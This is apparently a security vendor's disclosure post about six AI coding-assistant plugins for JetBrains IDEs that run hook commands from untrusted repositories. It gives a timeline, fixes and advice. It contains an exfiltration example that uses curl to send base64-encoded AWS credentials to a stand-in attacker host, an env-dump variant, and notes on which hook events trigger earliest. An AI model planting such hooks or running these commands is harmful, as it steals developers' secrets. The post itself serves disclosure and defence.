TL;DR
We found the same issue in six popular AI coding assistants for JetBrains IDEs (IntelliJ, PyCharm, WebStorm and friends), with over 73 million downloads between them: GitHub Copilot, Windsurf, Qoder, ProxyAI, Cline and Augment. Each one loads and executes lifecycle hooks defined inside the repository you just opened, and none of them checks whether you trusted that repository first.
A small settings file in the repo says “run this command when a chat starts”; you start a chat; the command runs on your machine, with your permissions. No dialog, no warning, and the model never even sees it. That is enough to steal cloud keys, access tokens and source code, or leave a backdoor behind.
JetBrains gives plugins a one-line check for exactly this situation. None of the six used it. We reported all six in June 2026. Cline, GitHub Copilot and Augment Code have shipped a fix; Windsurf acknowledged the issue and has since stopped responding; Qoder and ProxyAI have never responded.
If your developers use AI assistants in JetBrains IDEs: don’t treat “untrusted” as safe for now, keep agent hook features off, and check cloned repos for hook config files before starting a chat.
We all have that agent that broke our heart. Charming, helpful, learns your codebase, offers to write your tests. And then one day you open a repo you found on the internet, tell your JetBrains IDE you don’t trust it, click the ‘no’ button, and the agent runs a shell command from that stranger’s config file anyway.
What workspace trust is supposed to do
Modern editors made peace with an awkward truth: opening a folder is a security decision. A repository isn't just text - it can carry build scripts, task definitions, linter paths, and editor settings that execute code the instant the project loads. So both major editor families built a "trust boundary" between repository content (untrusted data from a stranger) and your local machine (trusted).
The two implementations look similar from the outside and are meaningfully different underneath. That difference is the whole story here.
VS Code Workspace Trust - fails closed
When you open a folder in VS Code, you get the "Do you trust the authors of the files in this folder?" dialog. Say no, and you're in “Restricted Mode”, where VS Code centrally disables or limits tasks, debugging, workspace settings, the terminal, AI agents, and - critically - extensions.
The important design choice: an extension that has a main entry point but does nothing to declare its trust posture is treated as not supporting untrusted workspaces, and is therefore disabled in Restricted Mode. Extensions opt into running in untrusted workspaces by adding a capabilities.untrustedWorkspaces block to their package.json:
Values are true, false, or "limited". Code can also check vscode.workspace.isTrusted, listen to onDidGrantWorkspaceTrust, and gate UI with the isWorkspaceTrusted "when" context.
The security posture is fail-closed: silence means "disabled." An extension author who forgets about workspace trust entirely produces an extension that simply stops working in an untrusted folder - annoying, but safe. VS Code is honest that this isn't a sandbox: a malicious extension can ignore Restricted Mode. The model protects you from malicious workspaces, not malicious extensions.
JetBrains Trusted Projects - advisory, and fails open
JetBrains has an equivalent-looking feature. Open a project and you get the "Trust and Open Project?" dialog; decline and you're in “Safe Mode”, with a banner across the editor. The platform itself refuses to auto-run the dangerous things it owns: Gradle/Maven/sbt import, startup tasks, VCS operations, Groovy DSL scripts, File Watchers.
Plugins can participate. The API is clean:
There's TrustStateListener.onProjectTrusted() and TrustedProjects.whenProjectTrusted { ... } for reacting when a user later upgrades a project to trusted.
Here is the difference that matters. In JetBrains, the platform does not disable a plugin's code in Safe Mode. A third-party plugin keeps running with full capability. Trust enforcement is entirely voluntary and advisory - the plugin has to reach out and call isTrusted() on its own initiative and then choose to behave. There is no manifest declaration that fails closed, no "this plugin is limited in untrusted projects" default. A plugin that never mentions the trust API is not a disabled plugin; it's a fully-armed plugin.
The posture is fail-open: silence means "carry on." And every one of the six agents we looked at was silent.
Why this is genuinely tricky to get right
It would be easy to dunk on six engineering teams for missing one API call. It's more useful to explain why they all missed it - because the shape of the mistake is the interesting part.
- The default betrays you. In VS Code, doing nothing is safe. In JetBrains, doing nothing is exploitable. A team porting an agent from a VS Code extension (where the platform quietly disabled them in Restricted Mode) to a JetBrains plugin inherits none of that protection and gets no compiler error, no warning, no failing test telling them so. The safety they had was ambient and platform-provided; it does not travel.
- Agents are supposed to read your repo. The whole point of an AI coding agent is to ingest workspace files and act on them. So "the plugin reads files from the project" is not a smell - it's the product. That makes it psychologically easy to wave a config file through as "just more repo content the agent consumes," and miss that this particular repo content gets handed to a shell.
- Hooks came from a world where trust was assumed (or cascaded). Every one of these hook systems is modeled on Claude Code's hooks - a command-line feature. On the CLI, "the repo I'm cd'd into" and "a repo I chose to trust" are close to the same thing; you invoked the tool deliberately, in a directory you deliberately entered. Port that mental model into an IDE, where "I opened this folder to look at it" absolutely does not mean "I vouch for its config," and the assumption quietly breaks. Config-as-code is fine among consenting adults. A repo you found on GitHub is not a consenting adult; it's a stranger who left a note that says "run me."
- Feature flags feel like gates but aren't. Several products gate hooks behind an account flag or a preview toggle ("enable Agent Hooks"). That reads like a security control. It isn't - it's a global on/off for the user. Once you flip it on for yourself, it's on for every workspace you ever open, trusted or not. A per-user preference is not a per-workspace trust decision, and conflating the two is exactly how you end up shipping this.
So the pattern isn't "six careless teams." It's one deceptive default, one feature ported across a trust boundary it wasn't designed for, and a platform that asks nicely instead of enforcing.
The pattern, in one shape
Strip away the branding and all six plugins' behavior looks roughly as follows:
- Plugin loads at project open and (directly or via a bundled sidecar/backend) becomes active for every workspace.
- It reads a workspace-relative hook config - a file or directory living inside the opened repo.
- Validation is schema-only: is this an object, does it have a
command/bashstring? There's no allowlist, no argument sanitization, no path restriction, no length limit. Any string is a valid "command." - On a lifecycle event - session start, prompt submit, before/after a tool - it spawns that string through a shell, as your user.
- Nowhere in that path does anyone call
isTrusted().
The most valuable thing an attacker learns from all this is which event fires earliest, because the earlier the trigger, the less the victim has to do. Session-start and prompt-submit events are the money makers: they fire before the model does anything, so the attack doesn't depend on coaxing the model into calling a tool. Just open the repo, start the agent, done.
Here's the benign proof-of-concept shape we used for every product - writing a line to a temp file instead of stealing anything, so you can verify execution locally:
Swap the echo for curl --data "$(cat ~/.aws/credentials | base64)" https://attacker[.]example and the demo becomes an incident.
The six exes, one by one
Each of these is its own codebase, its own architecture, its own config dialect - and the same broken heart underneath.
GitHub Copilot - 57M downloads - the one everyone knows
Copilot's JetBrains plugin embeds a Node language server (copilot-agent) that registers the glob .github/hooks/**/*.json unconditionally at init, for every workspace folder. Validation (isValidHook) checks only that an entry is an object with type: "command" and a bash or powershell string. The gate function (areHooksEnabled) checks the user's "Agent Hooks (preview)" setting and an enterprise policy - but not workspace trust. Once you've opted into the preview globally, hooks from any repo fire.
Three events actually execute: userPromptSubmitted (fires on every message you send - the reliable one), preToolUse, and postToolUse. Three more (sessionStart, sessionEnd, errorOccurred) pass the validator but have no wired handler and never fire - a nice reminder that the schema and the execution engine disagree with each other. The bash string goes straight to a shell, unescaped.
At 57 million downloads, even a tiny fraction of users who flipped on the preview is a large exposed population.
Windsurf (Codeium) - 10M downloads - the polyglot
Windsurf ships a bundled Go language server (language_server_macos_arm). It reads hooks from .windsurf/hooks.json, and also honors .devin/hooks.json (loaded first) and .agents/hooks.json. The loader fires automatically whenever a workspace hook file exists - no trust API references anywhere in the path, only an error log line if loading fails.
Entries are type: "command" with a command string and an optional matcher (a regex or tool name like Bash or Write|Edit). The matcher only selects which hooks fire; it is emphatically not a security control. The rich event set includes SessionStart (the reliable trigger), PreToolUse/PostToolUse, PreUserPrompt, PreMCPToolUse, and pre/post run-command and read/write-code events.
Qoder (Alibaba) - 3.7M downloads - the one that keeps firing after you leave
Qoder's thin cosy-intellij plugin talks over LSP to a bundled native backend, qodercli. Config merges from ~/.qoder/settings.json, then <repo>/.qoder/settings.json, then <repo>/.qoder/settings.local.json (highest priority) - the last two are attacker-controlled. Qoder's own docs note the JetBrains plugin and the CLI share the same config files, so the workspace hooks are honored identically.
The reliable trigger is UserPromptSubmit: submit any prompt and the backend spawns your command via /bin/zsh -c, with the repo as the working directory and a pile of QODER_* environment variables injected (session ID, transcript path, user email/ID). Two extra sharp edges: because it runs under zsh, an unquoted URL with `?`/`&`/`*` can trip nomatch globbing - so exfil favors POST --data "$(env | base64)". And the config is snapshotted at session start: a hook armed when the session opens keeps firing for the life of that session even if the file is deleted afterward, which quietly complicates incident response. It's the ex who's still got a key to your apartment.
ProxyAI - 1m downloads - the one living rent-free in the IDE process
ProxyAI is the most architecturally damning of the set, because it doesn't even bother with a sidecar. Agent mode runs in-process (Kotlin/Java), and hooks execute via the IntelliJ Platform's own GeneralCommandLine.createProcess() - the IDE's own process-spawning API - with the working directory set to the project root.
Config lives at <repo>/.proxyai/settings.json and, unlike the Claude-Code-style nested schema its siblings use, ProxyAI uses flat per-event arrays with command, matcher, timeout, enabled fields. Nine events are defined (beforeToolUse, afterToolUse, subagentStart/Stop, beforeShellExecution, afterShellExecution, beforeReadFile, afterFileEdit, stop). No trust API, no confirmation primitive, anywhere in the hook path. The matcher regex filters which hooks fire; it is not a control.
Cline - 780k downloads - the one that doesn't even need a config file
Cline is the odd one out: no JSON. Hooks are executable scripts dropped into .clinerules/hooks/, each named for the event it handles - TaskStart, PreToolUse, UserPromptSubmit, and friends. On macOS/Linux the file just needs the executable bit (which Git preserves and restores on clone); on Windows the convention is <Event>.ps1.
The bundled cline-core (Node/TS, over gRPC) discovers and spawns the matching script as your user, pipes a structured JSON payload to its stdin (version, task ID, workspace roots, user ID, per-event data), and parses stdout back as { cancel, contextModification, errorMessage } - meaning the script can also steer the agent. TaskStart and UserPromptSubmit are the reliable triggers. No trust gate, no per-script confirmation.
Augment - 720k downloads - the one where SessionStart actually means it
Augment's JetBrains plugin launches a bundled Node sidecar (index.cjs) as a post-startup activity for every project - a full scan of the plugin JAR for any trust-related symbol returns zero matches. The sole gate on hooks is the `enableHooks` account flag; once it's on, hooks arm for every workspace.
The sidecar's HookConfigLoader reads <repo>/.augment/settings.local.json and <repo>/.augment/settings.json and helpfully logs the exact path it loaded from. Validation is schema-only; accepted entries normalize to { type: "command", command, args, timeout } and execute via bash -c. Augment accepts both the native event set and a set of friendly aliases (beforeShellExecution, afterFileEdit, etc.). The standout: unlike some siblings where SessionStart is validated but never wired, in Augment SessionStart is fully wired and fires - the moment an agent session begins, before any prompt, before any tool. The most reliable trigger in the whole lineup.
The disclosure timeline - some picked up, some ghosted
We reported all six between June 23 and June 30, 2026, each through the vendor's stated channel. The responses have been… a spectrum of relationship maturity.
- GitHub Copilot, 57 million downloads. Reported through MSRC on June 23, 2026. Microsoft triaged on July 17, 2026 and shipped a fix shortly after.
- Windsurf, 10 million downloads. Reported through HackerOne on June 30, 2026. Cognition triaged on July 28, 2026, and have since stopped responding.
- Qoder (Alibaba), 3.7 million downloads. Reported initially via the stated email on June 30, 2026. After multiple unanswered follow-ups, reported through their public forum. No response to date.
- ProxyAI, roughly a million downloads. Reported via the project's stated email on June 30, 2026. After multiple follow-ups, no response to date.
- Cline, 780k downloads. Reported via GitHub advisory on June 30, 2026. Cline triaged on July 14, 2026 and shipped a fix on the July 23, 2026
- Augment, 720k downloads. Reported via the stated Email on June 30, 2026. Augment triaged on July 15, 2026 and shipped a fix shortly after.
Download count and disclosure maturity are not the same axis, and users can't see either one from the marketplace listing. We don’t underestimate the hardships of product and open-source maintainers. However, when affecting millions of users, we believe maintainers have an obligation to their users’ security.
The fix
One API call, plus some hardening.
Gate on trust - fail closed. Before loading or executing any workspace-supplied hook, check project.isTrusted() (JetBrains) / workspace.isTrusted (VS Code). For the sidecar/backend architectures, the IDE host should pass a workspaceTrusted capability down over LSP/RPC at init and the backend should short-circuit hook execution to a no-op when it's false. Default to not running if the signal is missing.
Don't confuse a global toggle with a per-workspace decision. "The user enabled hooks" answers a different question than "the user trusts this repo." You need both to be true.
Prompt on first sight of a hook. Even in a trusted workspace, the first time a new hook (by path or content hash) appears, show a modal that names the exact command and asks for explicit approval.
Treat config-as-code as code. If a config file can spawn a shell, it deserves the same suspicion as an executable checked into the repo - because that's exactly what it is.
What to do now
If you’re developing an AI agent plugin for JetBrains
- Apply the fix above before anything else: no workspace-supplied hook, script, MCP server definition or custom command runs until project.isTrusted() returns true. If your logic lives in a sidecar, pass the trust state down at startup and refuse to run hooks when it is missing.
- Re-check trust when it changes. Listen with
TrustStateListenerorTrustedProjects.whenProjectTrustedinstead of loading workspace config once at project open. - If you ported from VS Code, list everything Restricted Mode used to disable for you. On JetBrains none of it is disabled unless your code does it.
If you use AI assistants in JetBrains IDEs
- Update GitHub Copilot, Cline and Augment to their latest, fixed versions. For Windsurf, Qoder and ProxyAI, keep hook features off and don't start agent sessions in projects you haven't reviewed.
- Before starting a chat in a cloned repo, look for hook files:
.github/hooks/,.windsurf/hooks.json,.devin/hooks.json,.agents/hooks.json,.qoder/settings.jsonandsettings.local.json,.proxyai/settings.json,.clinerules/hooks/,.augment/settings.jsonandsettings.local.json. - Treat Safe Mode as "the IDE won't run things", not "my plugins won't". The two are different promises.
If you lead security
- Audit every AI agent on your endpoints, at every level - applications, code packages, extensions and more.
- Enforce AI agent usage policies.
- Enforce posture scans of everything installed on your endpoints, including (and not limited to) extensions and repositories.
The moral of the story
Workspace trust is a promise the editor makes to you: “I won't let a stranger's files run code on your machine just because you looked at them”. JetBrains kept its half of the promise - it built the dialog, the Safe Mode banner, the isTrusted() API, the whole framework. But that framework only protects you if the plugins you install bother to ask.
Six agents. Six times the same answer to the same unasked question. You told the IDE you didn't trust the project. The IDE believed you. The agent never asked.
We all have that one agent that broke our heart. Turns out most of us have six.
Bloom gives security teams visibility into every AI agent, AI Addon, browser extension, IDE extension, application, code package, model and repository on their developers' endpoints, and enforces policy over what AI agents are allowed to run. To see how Bloom could help you with detection, prevention and response, schedule a demo here.
%20-%20webflow.webp)
